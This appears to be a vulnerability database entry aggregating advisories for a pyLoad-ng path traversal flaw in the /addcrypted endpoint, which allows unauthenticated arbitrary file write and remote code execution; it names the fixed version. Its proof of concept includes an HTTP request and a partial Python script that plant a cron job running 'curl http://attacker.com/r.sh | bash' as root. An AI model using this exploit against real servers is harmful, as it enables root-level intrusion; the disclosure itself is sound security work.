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bdu:2026-07564

EUVD-2026-249033

fkie_cve-2025-54802

pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90.

GHSA-48rp-jc79-2264 — pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)

Affected: PyPI: pyload-ng

### Summary **Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

### Details * **Endpoint**: `POST /addcrypted` * **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`

### PoC ```http POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA== ```

Decoded payload: ```bash * * * * * root curl -s http://attacker.com/r.sh | bash ```

**Send crafted POST** ```python import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit",…

PYSEC-2026-493 — pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)